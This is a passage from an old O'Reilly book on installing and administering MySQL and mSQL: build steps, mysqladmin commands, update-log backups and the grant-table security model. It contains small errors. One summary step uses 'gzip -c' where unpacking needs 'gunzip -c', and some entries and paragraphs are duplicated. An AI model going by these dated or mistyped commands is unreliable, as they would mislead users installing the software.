With this information in mind, you should now choose the version of MySQL you wish to use and download the source distribution if you are going to compile MySQL, or the correct binary distribution for you machine, if it exists. If a binary distribution does not exist for your exact configuration, first check to see if one exists for a slightly different version of your system. For instance, mysql-3.22.32a-ibm-aix4.2.1.0-powerpc.tgz may also run for Version 4.1.4 of AIX on the same type of hardware. If you cannot find a working version this way, see if versions for your configuration exist for older versions of MySQL. If not, you will have to compile from source. If this is the case for you and you successfully compile and run MySQL, you should consider submitting a copy of your compiled binaries to the MySQL team for inclusion in the archive.

3.1.1. Installing from Source

Once you have downloaded the MySQL source distribution, unpack the archive using the following:

gunzip -c mysql-x.xx.xx.tar.gz | tar xvf -

Where mysql-x.xx.xx.tar.gz is the name of the file you downloaded. This will create a directory named mysql-x.xx.xx within the current directory. Change to this directory.

Run the configure script in the current directory. Invoke the script as ./configure so that you do not accidentally run a program with the same name elsewhere on your system. Many installations will configure fine without any options, but for those that do not, configure provides a wide array. Running with the --help switch will list them all, but the following are the most common:

--without-server

This will compile all of the included MySQL clients, but not the server.

--prefix

This is used to set the installation directory to something other than the default (/usr/local/).

--with-low-memory

This option tells the compiler to not use certain optimizations that use a great deal of memory during the compilation process. Using this option will fix most lack of memory errors encountered during installation.

--localstatedir

This is used to set the directory containing the database data files to something other than the default (/usr/local/var).

--with-charset

This will choose a different character set (default is `latin1'). At the time of this writing, available character sets are big5, danish, cp1251, cp1257, croat, czech, dec8, dos, euc_kr, german1, hebrew, hp8, hungarian, koi8_ru, koi8_ukr, latin1, latin2, swe7, usa7, win1251, win1251u, kr, ujis, sjis, tis620.

After the configure script has completed, run make in the current directory. This will compile everything.

Once everything is finished compiling, make install will install everything into its proper place.

If this is the first time you are installing MySQL on this machine, or if all of the MySQL database files have been deleted since the last install, run the following to create the database structure and the administrative tables:

./scripts/mysql_install_db

This will also start the server daemon. To make sure it is running, change to the installation directory (/usr/local/ by default) and run the following:

./bin/mysqladmin version

The output should look something like this:

mysqladmin  Ver 7.11 Distrib 3.22.23b, for linux on i586
TCX Datakonsult AB, by Monty

Server version          3.22.23b-debug
Protocol version        10
Connection              Localhost via UNIX socket
UNIX socket             /tmp/mysql.sock
Uptime:                 6 sec

Threads: 1  Questions: 1  Slow queries: 0  Opens: 6  Flush tables: 1  Open tables: 2  Memory in use: 1093K  Max memory used: 1093K

To summarize, a sequence of installation steps looks like this:

gzip -c mysql-x.xx.xx.tar.gz | tar xvf -
cd mysql-x.xx.xx
./configure
make
make install
./scripts/mysql_install_db
./bin/mysqladmin version

3.1.2. Installing a Binary Distribution

Once you have downloaded the binary distribution you must pick a directory to contain the MySQL files. The most common location is /usr/local/mysql, but where you put your distribution largely depends on the needs of your users and the access rights you have to the machine.

Change to the directory just above the one you wish to house the MySQL distribution. For example, if you wish to use /usr/local/mysql, change to /usr/local now. Run the following to unpack the distribution:

gunzip -c /tmp/mysql-x.xx.xx-mymachine.tgz | tar xvf -

Here /tmp is the directory where you downloaded MySQL and mysql-x.xx.xx-mymachine.tgz is the name of the file you downloaded.

This should create a directory called mysql-x.xx.xx within the current directory. If you want the files to be in a directory called just mysql, create a link:

ln -s mysql-x.xx.xx mysql

Next, check to see if the binary package contains the access grant tables. Change to the directory mysql/mysql from the current directory. If this directory does not exist or is empty, you must create the tables yourself. Change back one directory to the main mysql installation directory and run the following:

scripts/mysql_install_db

The previous command has to be run only once. To actually start the MySQL daemon, enter:

bin/safe_mysqld --log &

To see if the daemon is running properly, run the following:

bin/mysqladmin version

The output should look something like this:

Mysqladmin Ver 6.3 Distrib 3.21.33, for sun-solaris2.6 on sparc
TCX Datakonsult AB, by Monty

Server version          3.21.17-alpha
Protocol version       10
Connection               Localhost via UNIX socket
TCP Port                   3333
UNIX socket             /tmp/mysql.sock
Uptime:                     13 sec

Running threads: 1  Questions: 20  Reloads: 2  Open Tables: 3
Previous | Home | Next
2.4. Physical Database Design | Book Index | 3.2. mSQL
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


mSQL (MySQL & mSQL)

 MySQL and mSQLSearch this book

3.2. mSQL

The first step in installing mSQL is obtaining the source distribution. At the time of this writing, the newest versions of mSQL were only distributed through the Hughes Technology web page at http://www.Hughes.com.au. The author of mSQL has chosen not to officially distribute binary copies of mSQL. If you are on a machine without a C compiler, you will either have to install one, or compile mSQL on another machine with the same hardware and operating system and copy over the results.

Once you have the mSQL source distribution, unpack it using the following:

gunzip -c msql-2.0.4.1.tar.gz | tar xvf -

This will create a directory with the name msql-2.0.4.1 within the current directory. Change to the new directory.

Create the installation directory for your machine by running the following command:

make target

Now change to the targets directory. Within this directory there should be a new directory with the name of your operating system and hardware (e.g., Solaris-2.6-Sparc or Linux-2.0.33-i386). Change to this new directory.

Run the setup script in the current directory. Make sure you invoke it as ./setup so that the shell doesn't run any program named setup in another directory instead. This script will configure the source code for compilation. After this script has competed, examine the site.mm file and change any parameters you wish in order to customize your local installation. In particular, you may wish to change the INST_DIR variable that determines the directory where mSQL will be installed.

After you are satisfied with the configuration, run the following to compile mSQL:

make all

After compilation, the following command will install mSQL in the directory you have chosen:

make install

To summarize, a sequence of installation steps looks like this:

gzip -c msql-x.x.x.tar.gz | tar xvf -
cd msql-x.x.x
make target
cd targets/myOS-mymachine
./setup
make all
make install
Previous | Home | Next
3. Installation | Book Index | 4. MySQL
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


MySQL (MySQL & mSQL)

 MySQL and mSQLSearch this book

Chapter 4. MySQL

Contents:

Design
Installing MySQL
Running MySQL
Database Administration
MySQL Utilities
Performance Tuning

MySQL may be one of the hottest grass-roots software projects since Linux. While mSQL certainly deserves credit for getting the ball rolling, MySQL has built upon that momentum. It is now nothing less than a serious competitor for the major database engines in the field of small-to-medium scale database development. In its beginnings, MySQL was simply a replacement for the aging mSQL 1 database engine. As we noted in Chapter 1, "Introduction to Relational Databases", mSQL began showing signs of its age in the form of stability issues and an inability to meet the growing demands thrust upon it by its success. MySQL built upon the basic design goals of mSQL and now exceeds mSQL in its feature set while also managing to beat mSQL in performance.

4.1. Design

Working from the legacy of mSQL, TcX decided MySQL had to be at least as fast as mSQL in spite of its expanded feature base. At that time, mSQL defined database performance, so TcX's goal was no small task. MySQL's specific design goals are speed, robustness and ease of use. To get this sort of performance, TcX decided to make MySQL a multithreaded database engine. A multithreaded application performs many tasks at the same time just as if multiple instances of that application were running simultaneously.

By making MySQL multithreaded, TcX has given us many benefits. A separate thread handles each incoming connection with an extra thread always running in order to manage the connections. Clients therefore do not have to wait for queries from other clients to run. Any number of simultaneous queries can run. While any thread is writing to a table, all other threads requesting access to that table simply wait until the table is free. Your client can perform any allowed operation without any concern for other concurrent connections. The connection managing thread prevents two threads from writing to the same table at the same time.

This design is certainly more complex than mSQL's single-threaded design. The speed advantages of performing multiple simultaneous queries, however, far outweighed the speed penalties of the increased complexity.

Another advantage to multithreaded processing is inherent to all multi-threaded applications. Even though the threads share the same process space, they execute individually. Because of this separation, multiprocessor machines can spread the load of each of the threads across the many CPUs. Figure 4-1 illustrates the multi-threaded nature of a MySQL database server.

Figure 4-1. The client/sever design of MySQL

In addition to the performance gains introduced by multithreading, MySQL has a richer subset of SQL than mSQL. MySQL supports over a dozen datatypes and additionally supports SQL functions. Your application can access these functions through ANSI SQL statements.

MySQL actually extends ANSI SQL with a few features. These features include new functions (ENCRYPT, WEEKDAY, IF, and others), the ability to increment fields (AUTO_INCREMENT and LAST_INSERT_ID), and case sensitivity.

TcX did intentionally omit some SQL features found in the major database engines. Transactions and stored procedures are the two most notable omissions. Like David Hughes with mSQL, TcX decided that including these features would incur too much of a performance hit to be worth their addition. TcX is working on adding these features, however, in such a way that only users who really need these features are penalized by them.

Since 1996, TcX has been using MySQL in an environment with more than 40 databases containing 10,000 tables. Of these 10,000 tables, more than 500 have more than seven million records -- about 100 GB of data.

Previous | Home | Next
3.2. mSQL | Book Index | 4.2. Installing MySQL
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Installing MySQL (MySQL & mSQL)

 MySQL and mSQLSearch this book

4.2. Installing MySQL

The first step in using MySQL is installing it. MySQL runs on just about any Unix platform you can imagine as well as Windows 9x, Windows NT, and OS/2. The Windows 9x and Windows NT ports require the purchase of a license before you can use them. If you really want to take a test drive, an older shareware version is available.

MySQL comes in both binary and source code distributions. If you are looking to contribute to the MySQL project, want to add your own hacks, or simply cannot find a binary distribution for your platform, you should get the source code distribution. The vast majority of users, however, should get the binary distribution. You can find the latest binary and source distributions at http://www.mysql.com.

If you get the source distribution, you will have to compile MySQL in order to install it. Either way, you should refer to the instructions that come with your distribution as they will be the definitive resource on installing that distribution.

Previous | Home | Next
4. MySQL | Book Index | 4.3. Running MySQL
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Running MySQL (MySQL & mSQL)

 MySQL and mSQLSearch this book

4.3. Running MySQL

Most people run their database servers all of the time. After all, it makes no sense to have a database if you cannot get to the data. TcX created MySQL with this in mind and thus MySQL runs as a daemon process under Unix or as a service under Windows NT. Windows 9x has only the rough analog of sticking a shortcut to the executable in the StartUp folder. One important issue to note under Windows 95 specifically is that Windows 95 leaks about 200 bytes of main memory for each thread creation. You therefore do not want to leave MySQL running under Windows 95 for extended periods of time. This problem does not apply to Windows 98 or Windows NT.

You run MySQL using the /usr/local/bin/safe_mysqld by default. This script is a Bourne script you can edit in order to change any of the default values. Any options that you supply to safe_mysqld will be passed on to the MySQL daemon itself.

MySQL is a forking daemon. As soon as you launch it, the program creates a copy of itself (forks itself) and runs as a background process. You thus do not need to do anything special to get MySQL to run in the background. If you use the wrapper safe_mysqld to start MySQL, then you do need to put it in the background:

/usr/local/mysql/bin/safe_mysqld &

The reason you need to run safe_mysqld in the background -- and the reason you should run it instead of directly running mysqld -- is that the safe_mysqld script starts mysqld and then continuously verifies that mysqld stays running. If MySQL dies unexpectedly, safe_mysqld will restart it.

Now that you know how to start MySQL, you need to get MySQL to start up and shut down with the computer on which it runs. Under Windows NT, of course, installing MySQL as a service is sufficient for the task. Under Windows 9x, you have to stick a shortcut to the MySQL startup script in the StartUp folder. As with just about everything else in the Unix world, getting MySQL to run at system startup and shut down at system shutdown is more complicated. Unix systems generally look for startup scripts somewhere under the /etc directory -- some under /etc/rc.d or /etc/init.d. You should check with your system administrator or system documentation for the exact details of where your startup/shutdown script should go. The MySQL distribution comes with a file in the support_files directory called mysql.server. This Unix shell script will serve as your startup/shutdown script.

Previous | Home | Next
4.2. Installing MySQL | Book Index | 4.4. Database Administration
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Database Administration (MySQL & mSQL)

 MySQL and mSQLSearch this book

4.4. Database Administration

You should now have a fresh MySQL installation up and running. The first thing you should do is change the root password for the server using the following command from inside the MySQL installation directory:

./bin/mysqladmin -u root password `'mynewpasswd''

With the MySQL server up and running securely, you can begin tackling some basic database administration issues so that MySQL can begin serving your needs.

4.4.1. The mysqladmin Utility

The mysqladmin is the primary tool for database administration under MySQL. Using this utility, you can create, destroy, and monitor your server and the databases it supports.

4.4.1.1. Database creation

Your database server is useless to you unless it actually has databases to serve. Using mysqladmin, you can create new databases:

mysqladmin -p create DATABASENAME

The -p option tells MySQL that you want to be prompted for the root password you specified earlier. If you enter the correct password, mysqladmin will create a new, blank database with the name you specify. Because a database under MySQL is a set of files in a specific directory, the mysqladmin create command creates a new directory to hold the files for the new database. For example, if you created a database called "mydata," the directory mydata will appear in the data directory of your MySQL installation.

WARNING

Because MySQL databases and tables are stored as file system files, you will encounter an unfortunate behavioral mismatch between Win32 implementations and Unix implementations. Specifically, all Win32 file systems are case-insensitive while Unix file systems are case-sensitive. The result is that database and table names are case- sensitive under Unix and case-insensitive under Win32.

4.4.1.2. Database destruction

During the process of developing a new database application, you will likely want to create several databases to support the development process. For example, it is common in database application development to have separate databases for development, testing, and production. When development is complete, it is time to get rid of the development and testing databases. The mysqladmin utility provides the "drop" option to let you delete a database:

mysqladmin -p drop DATABASENAME

As with the mysqladmin create command, DATABASENAME is the name of the database you wish to destroy. MySQL will not let you accidentally drop the database. After issuing this command, it will warn you that dropping a database is potentially a very bad thing to do and ask you to confirm the drop. You can examine the data directory after dropping the database to verify that the directory that once served as that database no longer exists.

4.4.1.3. Database renaming and copying

MySQL does not have a utility for renaming and copying databases. Because databases are simply files in a specific directory, you can, with care, use operating systems to copy or rename databases. Though using the file system commands will successfully copy or rename the database in question, they will not carry over the security configurations from the original table because MySQL keeps security information in a database table. In order to fully copy a database, you will have to also duplicate its security information in the MySQL system database. We will go into more detail on MySQL security later in the chapter.

4.4.1.4. Server status

MySQL provides a very rich array of commands in the mysqladmin utility for monitoring the MySQL server. Running the command mysqladmin status will provide a single line status display that looks like this:

Uptime: 395  Threads: 1  Questions: 14  Slow queries: 0
Opens: 10 Flush tables: 1  Open tables: 6

The values you see in the mysqladmin status output have the following meanings:

Uptime

The number of seconds the server has been up and running.

Threads

The number of threads that are currently interacting with the database. When examining the number of threads, you will always see at least one thread. The one thread is the one counting all the other threads. The server also has three other threads that are not visible to this command -- one to handle signals, one to manage all of the other threads, and one to listen for incoming connections.

Questions

The number of queries that have been sent to the database since it started.

Slow queries

The number of queries that have taken longer than a configurable amount of time to execute. The configuration key is long_query_time. We will discuss configuration parameters later in the chapter.

Opens

The number of tables that have been opened since the server started.

Flush tables

The number of flush, refresh, and reload commands.

Open tables

The number of tables currently open. Because MySQL is multithreaded, one table may be open more than once at any given time. For instance, any number of SELECT statements can be performed on the same table at the same time. Because of this trick, the value of "Open tables" can be larger than the number of tables in the system.

The mysqladmin status command also provides values for memory in use and maximum memory used if MySQL was compiled with the --with-debug option.

If you are looking for some more general, static information, then mysqladmin version is the command you are looking for. It provides the following output:

bin/mysqladmin  Ver 7.8 Distrib 3.22.17, for sun-solaris2.6 on sparc
TCX Datakonsult AB, by Monty

Server version          3.22.17
Protocol version        10
Connection              Localhost via Unix socket
Unix socket             /tmp/mysql.sock
Uptime:                 23 min 58 sec

Threads: 1  Questions: 15  Slow queries: 0  Opens: 10  Flush tables: 1  Open tables: 6

The last line of information is, of course, identical to the information you saw from mysqladmin status. The rest of the display is entirely new.

Server version

The version of MySQL being run.

Protocol version

The version of the MySQL communications protocol that the server supports. If you are having problems with a tool that uses the MySQL communications protocol, you might want to check the value it expects against your MySQL protocol version from this display.

Connection

The method by which you are connected to the server. In the example above, the client is communicating with MySQL through a Unix socket. If you are looking at a remote MySQL server, this entry will hold the name of the machine from which you are connecting.

Unix socket

The file name of the socket you are using to communicate with the server. If you are communicating with MySQL via TCP/IP, this entry will disappear in favor of a TCP port entry that holds the port number of the MySQL server.

Uptime

The total time the server has been running.

Two other commands, mysqladmin variables and mysqladmin extended-status, offer more information.

Because MySQL is multithreaded, monitoring process activity is not as simple as using the Unix ps command. Though many threads are running, only one process will appear in the process list. To help address this problem, MySQL provides the mysqladmin processlist to display all of the running threads in a nicely formatted table:

+----+------+-----------+------+-----------+------+-------+------+
| Id | User | Host      | db   | Command   | Time | State | Info |
+----+------+-----------+------+-----------+------+-------+------+
| 920| joe  | client.com|mydata| Sleep     | 0    |       |      |
| 939| root | localhost |      | Processes | 0    |       |      |
+----+------+-----------+------+-----------+------+-------+------+

This output tells you exactly what each thread is doing. The values in the display have the following meaning:

Id

The internal identification number of the thread. This value has no relation to any operating system process IDs. You can use this number with the mysqladmin kill command to terminate the thread.

User

The user connected to the server with this thread.

Host

The host from which the user is connected.

db

The database to which the user is connected.

Command

The type of command being executed by the thread. The command can be one of the following:

Sleep

The thread is waiting for user input. Most processes should be in this state.

Quit

The thread is in the process of terminating.

Init DB

The thread is preparing the selected database for interaction. A client may communicate with only one database at a time, but it can switch any time it likes.

Query

The thread is performing an actual query. While most interaction with the database is in the form of queries, these commands occur very quickly and thus rarely appear in this output.

Field list

The thread is generating a list of the fields in a table.

Create DB

The thread is creating a new database.

Drop DB

The thread is deleting a database.

Reload

The thread is reloading the MySQL access tables. When the reload is finished, all new threads will use the refreshed access tables.

Reload

The thread is reloading the MySQL access tables. When the reload is finished, all new threads will use the refreshed access tables.

Shutdown

The thread is in the process of terminating all other threads and shutting down the server.

Statistics

The thread is generating statistics.

Processes

This thread is examining other threads. The thread executing this command will show up with this value.

Connect

The thread is negotiating an incoming connection from a client.

Kill

The thread is terminating another thread.

Refresh

The thread is flushing all of the caches and resetting the log files.

The MySQL log file provides yet another way to get useful administrative information about the MySQL server. MySQL generates the main log if mysqld is launched with the -- log option. This log appears in /usr/local/var/HOSTNAME.log where HOSTNAME is the name of the machine on which MySQL is running. This log tracks connections to the server and the commands that clients send to it.

By passing the -- debug option to mysqld (or safe_mysqld), you can have MySQL send additional information to the log file. The debug package that MySQL uses has dozens of options, most of which you will never use. The most common debug setting, however, is -d:t:o,FILENAME where FILENAME is the name of the debug log you wish to use. This option will log almost everything the server does, step-by-step.

MySQL supports one more human-readable log. When you start MySQL with the -- log-update option, MySQL will create a file with the name HOSTNAME.# where HOSTNAME is the name of the server machine and # is a unique number. This log will hold all changes to database tables. The log appears as SQL so that the operations can be replicated in another database server.

4.4.1.5. Server shutdown

The following command will perform a clean shutdown of the MySQL database server:

mysqladmin -p shutdown

This command is the most orderly way to shut down the server. If you started MySQL with safe_mysqld and try using some other method for shutting down the server, safe_mysqld will just start up a new instance of the server. One can also shut down the server safely with the traditional Unix kill command. But avoid using the drastic kill-9 command.

4.4.1.6. Command line options for mysqladmin

The mysqladmin utility is a very rich tool with a handful of command line options. Its general format is

mysqladmin OPTIONS COMMAND1 COMMAND2 ... COMMANDn

In other words, you can issue multiple commands at one time with the mysqladmin utility. Just for grins, you could do

mysqladmin -p create silly drop silly

This command will both create and drop the database "silly" in one shot. The following is a list of commands you can send to mysqladmin:

create DATABASENAME

Creates a new database with the specified name

drop DATABASENAME

Drops an existing database with the specified name

extended-status

Provides an extended status message from the server

flush-hosts

Flushes all cached hosts

flush-logs

Flushes all logs

flush-tables

Flushes all tables

flush-privileges

Same as reload

kill ID1,ID2, . . . ,IDn

Terminates the threads with the specified thread IDs

password NEWPASSWORD

Changes the old password to the specified value

ping

Verifies that mysqld is still running

processlist

Shows a list of active threads

reload

Reloads all grant tables

refresh

Flushes all tables and closes and opens all log files

shutdown

Shuts down the server

status

Gives a short status message from the server

variables

Prints available variables

version

Shows server version information

In addition to the commands it supports, it also supports the following options:

-# LOG

Output debug log. Often this is `d:t:o,FILENAME'.

-f

Do not ask for confirmation of a dropped table and continue to the next command even if this one fails.

-? or -- help

Show help for the mysqladmin utility.

-C

Use compression in the client/server protocol.

-h HOST

Connect to the specified host.

-p [PASSWORD]

Use the specified password to validate the user. If this option is used without specifying a password, then the user will be prompted to enter the password.

-P PORT

Use the specified port number for a connection.

-i SECONDS

Execute the commands repeatedly with the specified sleep interval in between executions.

-s

Silently exit if a connection to the server cannot be established.

-S SOCKET

The file to use for the Unix socket.

-t TIMEOUT

The timeout for the connection.

-u USER

The user for the login if not the current user.

-V

Show version information and exit.

-w COUNT

Wait and retry the specified number of times if the server is not currently up.

4.4.2. Backups

The importance of regular backups in successful operation cannot be stressed enough. Without a usable backup, a single power outage can destroy months or years of work. However, with a properly planned backup schedule, you can recover from almost any catastrophe in a very short time.

Chapter 5, "mSQL", provides a detailed discussion of the role of the msqldump command in mSQL backups. MySQL supports nearly identical functionality in the form of the mysqldump command. We recommend that you have a look at that discussion to understand the use of mysqldump and full backups. In this section, we will focus on the next most important form up backup: the incremental backup.

While full data backups are technically all that are needed to recover from data loss, they can be difficult to work with at times. When you have a great deal of data, the files required to backup all of the data can take up a large amount of space. Therefore, it is common practice to only back up all data once a week or some similar data. Then, every day, a backup is performed of all data that has changed since the last full backup. This is referred to as an incremental backup.

With MySQL, it is possible to perform an incremental backup using a feature of the database server known as the "update log." If the mysqld database server is launched with the --log-update option, all changes to any database will be logged in a file as an SQL command. These changes will be logged in the order they happen. The result is a file that, when fed into the mysql monitor, will replay all actions that have been performed on the database. If the log has been kept from the beginning of the database, it will go through the entire life of the database and end up with the data in its current state.

More usefully, if the log is kept since a certain defined point, say the last full data backup, the log can then be used to catch up the backup to the current state. In this way, the functionality of an incremental backup is obtained. At a regular interval (such as every week) perform a full data backup. Then every day copy the update log either to tape, or to a backup area on hard disk. Keep a separate copy of the update log for every day back to the last full data backup. This provides the ability to recreate the database in case of disaster and also to recover any partial data lost since the last full data backup. Because the update log is plain ASCII, SQL commands they can be searched for specific data.

Whatever method you use to back up your data, make sure that you do it often and that your periodically check your backups to make sure that you can indeed use them to recover your system. Many database administrators have faithfully kept backups only to find out in their time of need that because of some error -- human, software, or physical media -- their backups were absolutely useless.

4.4.3. Security

In addition to making sure you can get at your data reliably, you also want to make sure others cannot get to it at all. MySQL uses its own database server to implement security. When you first install MySQL, the installation process creates a database called "mysql." This database contains five tables: db, host, user, tables_priv, and columns_priv. Newer versions of MySQL also create a database called func, but it is unrelated to security. MySQL uses these tables to decide who is allowed to do what. The user table contains security information that applies to the server as a whole. The host table gives entire machines rights to the server. Finally, the db, tables_priv, and columns_priv tables control access to individual databases, tables, and columns.

We will take a brief look at all of MySQL's security tables and then discuss the details of how they work together to make MySQL a secure database engine.

4.4.3.1. The user table

The user table shown in Table 4-1 has the following structure:

Table 4-1. The User Table

Field | Type | Null | Key | Default | Extra
Host | char(60) |  | PRI |  |
User | char(16) |  | PRI |  |
Password | char(16) |  |  |  |
Select_priv | enum(`N',`Y') |  |  | N |
Insert_priv | enum(`N',`Y') |  |  | N |
Update_priv | enum(`N',`Y') |  |  | N |
Delete_priv | enum(`N',`Y') |  |  | N |
Create_priv | enum(`N',`Y') |  |  | N |
Drop_priv | enum(`N',`Y') |  |  | N |
Reload_priv | enum(`N',`Y') |  |  | N |
Shutdown_priv | enum(`N',`Y') |  |  | N |
Process_priv | enum(`N',`Y') |  |  | N |
File_priv | enum(`N',`Y') |  |  | N |
Grant_priv | enum(`N',`Y') |  |  | N |
References_priv | enum(`N',`Y') |  |  | N |
Index_priv | enum(`N',`Y') |  |  | N |
Alter_priv | enum(`N',`Y') |  |  | N |

In both the Host and User columns, you can use "%" wildcard values. A host name of "chem%lab," for example, includes "chembiolab," "chemtestlab," and so on. The special user name "nobody" acts like a single "%." It covers any user not explicitly named elsewhere. Here is what the different access rights mean:

Select_priv

The ability to perform SELECT statements

Insert_priv

The ability to perform INSERT statements

Update_priv

The ability to perform UPDATE statements

Delete_priv

The ability to perform DELETE statements

Create_priv

The ability to perform CREATE statements or to create databases

Drop_priv

The ability to perform DROP statements or to drop databases

Reload_priv

The ability to reload access information via mysqladmin reload

Shutdown_priv

The ability to shutdown the server via mysqladmin shutdown

Process_priv

The ability to manage server processes

File_priv

The ability to read and write files using commands like SELECT INTO OUTFILE and LOAD DATA INFILE

Grant_priv

The ability to grant your privileges to others

Index_priv

The ability to create or drop indices

Alter_priv

The ability to perform the ALTER TABLE statement

MySQL provides a special function to keep passwords safe from prying eyes. The password() function encrypts a password. The following statements show the password() function in action in the course of adding users to the system.

INSERT INTO user (Host, User, Password, Select_priv,
                  Insert_priv, Update_priv, Delete_priv)
VALUES ('%', 'bob', password('mypass'), 'Y', 'Y', 'Y','Y')
INSERT INTO user (Host, User, Password, Select_priv)
VALUES ('athens.imaginary.com', 'jane', '', 'Y')
INSERT INTO user(Host, User, Password)
VALUES ('%', 'nobody', '')
INSERT INTO user (Host, User, Password, Select_priv,
                  Insert_priv, Update_priv, Delete_priv)
VALUES ('athens.imaginary.com', 'nobody',
        password('thispass'), 'Y', 'Y', 'Y', 'Y')

NOTE

MySQL user names are mostly unrelated to operating system user names. By default, the MySQL client tools use your operating system user name in attempting a login. There is, however, no necessary connection between the two. By using the -u option with most of the MySQL client utilities, you can connect to MySQL using any user name you like. Similarly, your operating system user name will not appear in the MySQL user table unless someone specifically adds it and grants you permissions.

The first user we created, "bob," can come from any host and can SELECT, INSERT, UPDATE, and DELETE records. The second user, "jane," can connect from "athens.imaginary.com." has no password, and can only execute SELECT statements. The third user is "nobody" from any host. This user is able to do absolutely nothing. The final user is "nobody" from "athens.imaginary.com" and can SELECT, INSERT, UPDATE, and DELETE records like "bob."

So how does MySQL do matching? Perhaps you noticed above that a given name could actually match several records. For example, "nobody@athens.imaginary.com" matches "nobody@%" and "nobody@athens.imaginary.com." Before checking the user table, MySQL sorts the data in the following manner:

  1. MySQL first matches hosts that do not contain wildcards followed by hosts with wildcards. Empty Host fields are treated like they contain "%."

  2. When hosts are the same, users without wildcards are checked before users with wildcards. As with Host, an empty User field is treated as if it contains "%."

  3. The first match encountered is the only match considered.

In the earlier example, the user would be verified against "nobody" from "athens.imaginary.com" because "athens.imaginary.com" is sorted before "%." Because hosts are sorted before users, the values of any host from which you are connecting will take precedence over any specific privileges you might have. For example, if the user table contains the following entries:

Host | User
% | jane
athens.imaginary.com |

If "jane" connects from "athens.imaginary.com," the privileges associated with "athens.imaginary.com" are the privileges that MySQL will use.

4.4.3.2. The db table

You may have noticed that the user table makes no mention of specific databases or tables. The user table rules over the entire server. Most servers, however, have multiple databases. Different databases generally serve different purposes, and thus different user groups. The db table sets permissions for individual databases. The db table shown in Table 4-1 has the following structure:

This table looks a lot like the user table. The major distinction is that instead of having a Password column, this table has a Db column. This table manages a user's privileges within a specific database. Because user table permissions span the entire server, any activity granted to a user by the user table overrides that user's entry in the db table. Thus, if a user has INSERT access in the user table, that user will have INSERT access for all databases no matter what the db table says.

Table 4-1. The db Table

Field | Type | Null | Key | Default | Extra
Host | char(60) |  | PRI |  |
Db | char(32) |  | PRI |  |
User | char(16) |  | PRI |  |
Select_priv | enum(`N',`Y') |  |  | N |
Insert_priv | enum(`N',`Y') |  |  | N |
Update_priv | enum(`N',`Y') |  |  | N |
Delete_priv | enum(`N',`Y') |  |  | N |
Create_priv | enum(`N',`Y') |  |  | N |
Drop_priv | enum(`N',`Y') |  |  | N |
References_priv | enum(`N',`Y') |  |  | N |
Index_priv | enum(`N',`Y') |  |  | N |
Alter_priv | enum(`N',`Y') |  |  | N |

This table looks a lot like the user table. The major distinction is that instead of having a Password column, this table has a Db column. This table manages a user's privileges within a specific database. Because user table permissions span the entire server, any activity granted to a user by the user table overrides that user's entry in the db table. Thus, if a user has INSERT access in the user table, that user will have INSERT access for all databases no matter what the db table says.

The most effective use of the user table is to create entries for each user in the user table with no permissions. This scheme enables a user to connect to the server, but do nothing else. The exception would be anyone who should be a server administrator. Everyone else should gain their permissions from the db table. Every user does have to appear in the user table, or they will not be allowed to connect to the database.

The same rules for user and host matching on the User and Host columns from the user table applies to this table -- with a bit of a twist. A blank Host field will prompt MySQL to look for an entry matching the user's host in the host table. If no such match is found, MySQL denies the operation. If an entry is found, MySQL calculates the permission as the intersection of those found in the db and host entries. In other words, both entries must have a `Y' in them or access is denied.

4.4.3.3. The host table

The host table serves a special purpose. The host table shown in Table 4-1 has the following structure:

Table 4-1. The Host Table

Field | Type | Null | Key | Default | Extra
Host | char(60) |  | PRI |  |
Db | char(32) |  | PRI |  |
Select_priv | enum(`N',`Y') |  |  | N |
Insert_priv | enum(`N',`Y') |  |  | N |
Update_priv | enum(`N',`Y') |  |  | N |
Delete_priv | enum(`N',`Y') |  |  | N |
Create_priv | enum(`N',`Y') |  |  | N |
Drop_priv | enum(`N',`Y') |  |  | N |
Grant_priv | enum(`N',`Y') |  |  | N |
References_priv | enum(`N',`Y') |  |  | N |
Index_priv | enum(`N',`Y') |  |  | N |
Alter_priv | enum(`N',`Y') |  |  | N |

The host table gives you a way of creating basic permissions on a host-by-host basis. When MySQL attempts to verify an operation, it seeks a match on the user name and host in the db table. If it finds a match on the user name with an empty Host field, it will consult the host table and use the intersection of the two sets of privileges to determine the outcome. For example, you may have a set of servers that you consider less secure than the rest of your network. You can deny them any kind of write access. If "bob" comes in from one of those machines and his entry in the db table has a blank Host field, he will be denied write access even though his db table entry would otherwise allow it.

4.4.3.4. The tables_priv and columns_priv tables

These two tables are basically refinements of what the db table provides. Specifically, any operation is checked with the relevant db entry, followed by any relevant tables_priv entry, followed by any relevant columns_priv entry. If one of these is allowed, then the operation is allowed. With these two tables, you can narrow permissions down to the table and column levels. You can manipulate the contents of the tables through the GRANT and REVOKE commands in SQL.

4.4.3.5. The stages of access control

You have had a look at the players in MySQL security. Now we need to put the players together and demonstrate how they are applied to real situations. MySQL divides access control into two stages. The first stage is connection. You must be able to connect to the server before you can do anything else.

Connection involves two checks. First, MySQL checks to see that the user name and host under which you are connecting has a corresponding entry in the user table. Matching an entry for you is based on the rules for matching we discussed earlier. If MySQL fails to find a match, your connection request is denied. If it finds a match and that match has a nonblank Password field entry, you must specify and match that password. Failure to match the password results in the denial of your connection request.

Once connected, the MySQL server enters the request verification stage. At this point, any specific requests you make are matched against your privileges. MySQL may take these privileges from any of the user, db, host, tables_priv, or columns_priv tables. If there is a match with the user table and the user table has a positive permission, then the operation is immediately allowed. Otherwise, MySQL looks for matches in the following tables in the following order:

  1. db

  2. tables_priv

  3. columns_priv

If the db table has a positive entry, the operation is allowed and no further checking occurs. If the entry is negative, then MySQL checks with all matching tables_priv entries. If, for example, the operation is a SELECT that joins two tables, then the user must have positive entries for both tables in that database in the tables_priv table. If one or more of the entries is negative or nonexistent, then MySQL will perform the same logic for all of the columns in the columns_priv table.

4.4.3.6. The mysqlaccess utility

You may find learning the MySQL security system confusing at first. To simplify matters a bit, MySQL comes with a utility called mysqlaccess. This command is a Perl script[4] that will take the host, username, and database combination and provide you with the exact access rights for that user and why. For example, using the command mysqlaccess nobody isp.com mydata might report the following output:

